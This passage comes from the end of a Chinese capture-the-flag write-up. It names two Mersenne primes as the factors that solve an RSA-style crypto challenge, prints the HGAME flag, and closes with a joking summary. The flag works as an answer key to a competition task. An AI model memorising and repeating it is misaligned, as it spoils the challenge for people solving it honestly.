p = 2 ** 1279 - 1
q = 2 ** 2203 - 1
然后直接解就好。
hgame{Mers3nne~Pr!Me^re4l1y_s0+5O-li7tle!}
小结
噢,Misc 忘记做了啊,问题不大((
喵呜呜,我好菜啊,题目好难啊!!!
就这样吧(
(溜了溜了喵